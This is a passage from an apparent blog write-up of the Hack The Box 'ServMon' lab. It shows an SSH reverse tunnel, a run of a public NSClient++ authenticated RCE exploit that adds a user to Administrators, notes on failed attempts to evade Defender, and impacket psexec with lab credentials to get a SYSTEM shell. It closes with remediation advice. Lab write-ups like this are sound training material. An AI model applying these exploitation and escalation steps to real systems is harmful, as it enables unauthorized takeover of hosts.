nadine@SERVMON C:\Users\Nadine>ssh -R :8443:localhost:8443 initinfosec@10.10.14.35
The authenticity of host '10.10.14.35 (10.10.14.35)' can't be established.
ECDSA key fingerprint is SHA256:rBBINlDaQ4Lwgo/amxsi1wRcVXDwC5r+zOsMX+FiCaM.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.14.35' (ECDSA) to the list of known hosts.
initinfosec@10.10.14.35's password:
Linux kali 5.6.0-kali2-amd64 #1 SMP Debian 5.6.14-1kali1 (2020-05-25) x86_64
initinfosec@kali:~$ sudo netstat -tulpn | grep 8443
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN 11223/sshd: initinf
tcp6 0 0 ::1:8443 :::* LISTEN 11223/sshd: initinf
[A local forward may be possible with the right syntax, but in order to achieve the desired traffic flow, remote as shown above made the most sense to me.]
Entering the provided credentials in the login box on the server after forwarding the port allows for successful authentication now, as shown in the below screenshot depicting the NSClient page after login.
gaining system
Now that we have successful authentication to NSClient, let’s take a look at exploits potentially avialable for NSClient. Using searchsploit to check EDB, we quickly find two promising candidates that both seem to perform command execution:
initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit nsclient
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
NSClient++ 0.5.2.35 - Authenticated Remote Code Execution | json/webapps/48360.txt
NSClient++ 0.5.2.35 - Privilege Escalation | windows/local/46802.txt
------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Both look viable, but 48360 looks a little more fleshed-out as a python script, so let’s go for that one. We’ll download the file and rename it to a more descriptive filename, and then run the command to see the usage info:
initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit -m 48360
Exploit: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
URL: https://www.exploit-db.com/exploits/48360
Path: /usr/share/exploitdb/exploits/json/webapps/48360.txt
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /0ps/HTB/servmon/exploit/48360.txt
intinfosec@kali:/0ps/HTB/servmon/exploit$ mv 48360.txt nsclient_rce.py
initinfosec@kali:/0ps/HTB/servmon/exploit$ python3 nsclient_rce.py
usage: NSClient++ 0.5.2.35 Authenticated RCE [-h] [-t [target]] [-P [port]] [-p [password]] [-c [command]]
optional arguments:
-h, --help show this help message and exit
-t [target] Target IP Address.
-P [port] Target Port.
-p [password] NSClient++ Administrative Password.
-c [command] Command to execute on target
It looks like we can provide a command to execute to the target if successful, so let’s go ahead try to add nadine to the adminstrators group. The command run is shown below:
initinfosec@kali:/0ps/HTB/servmon/exploit$ python3 nsclient_rce.py -t 127.0.0.1 -P 8443 -p ew2x6SsGTxjRwXOT -c 'net localgroup Administrators nadine /add'
[!] Targeting base URL https://127.0.0.1:8443
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Enabling External Scripts Module . . .
[!] Configuring Script with Specified Payload . . .
[+] Added External Script (name: wlwJwtDGStP)
[!] Saving Configuration . . .
[!] Reloading Application . . .
[!] Waiting for Application to reload . . .
[!] Obtaining Authentication Token . . .
[+] Got auth token: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ
[!] Triggering payload, should execute shortly . . .
Going back to our shell with nadine logged in, we can run a group query, and confirm the exploit successfully added nadine to the administrators group:
nadine@SERVMON C:\Users\Nadine>net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Nadine
The command completed successfully.
Escalation to NT_AUTHORITY_SYSTEM
Awesome, so we know the exploit worked. However, we find that the path to further elevate the NT_AUTHORITY_SYSTEM may not be super straightforward. Both when trying to execute a msfvenom reverse shell executable, and when trying to run psexec to elevate to system, execution is blocked. Even with 3 iterations of shakata_gai_na encoding on the msfvenom shell.exe file, Defender still seems to flag the process. PsExec does not seem to run properly as it requires elevated privileges to run the process, where our current shell in the listener is still a user-level shell. Even if it were not, however, my prior attempts trying the psexec elevation method show that it is often caught by defender in more recent versions of Windows, or if not, spawns a new shell, requiring GUI access.
So we need to figure out a way to spawn an elevated shell, when perhaps we cannot do so from our current user shell, and we do not have RDP enabled. Trying to get the exploit to execute nishang’s reverse-tcp.ps1 script also seemed to fail for me (whether it was blocked or my syntax was slightly off in the payload command argument was undetermined.)
However, since we know have administrative rights, we can leverage impacket’s psexec.py script, which writes and runs an executable via an administrative share over SMB. As this is a new process that is created since it is run local from kali, we no longer have the issue of our old cmd shell being a low-level session. Additionally, execution happens through SMB, somehow getting around the defender block. Whether that was the medium of execution or the type of executable generated by the script is not entirely apparent to me currently.
Ultimately, we can run a simple python3 script found within kali as part of the impacket module. Now that we have administrator abilities, it can leverage the admin share to create and run the executable, giving us a system shell back in the same tty the python script was run in. Syntax is fairly straightforward, like psexec.py DOMAIN/user:password@IP
Running the following results in an NT_AUTHORITY_SYSTEM shell returned locally, giving us full access to the target ServMon, as shown in the below screenshot.
initinfosec@kali:/0ps/HTB/servmon/exploit$ python3 /usr/local/bin/psexec.py WORKGROUP/nadine:L1k3B1gBut7s@W0rk@10.10.10.184
Conclusion
Recommended Remediations
- Disallow FTP, and implement a more secure file sharing service. Additionally do not open any file sharing service externally if possible. If external access is needed, try to utilize an allowed list of hosts, while blocking the rest
- Do not store sensitive information such as credentials on any publically accessible server. If credentials must be stored somewhere, make sure they are local and securely hashed and salted
- Patch the NVMS-1000 application to address the path traversal vulnerability exploited
- Path the NSClient application to address the remote command execution vulnerability
- Implement a WAF or IDS or IPS if possible to detect and/or block connections that don’t match an expected baseline (e.g. block reverse TCP connections to an unknown/untrusted server that don’t match an expected/standard protocol/communication method.)
Positive remarks
- Good progress was made towards the security of the system by disallowing remote access to the NSClient. However, as demonstrated, with valid credentials, such measures can be exploited fairly trivially
- The overall patch level and relevatively updated state of Windows Defender is a good step towards securing the host.
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!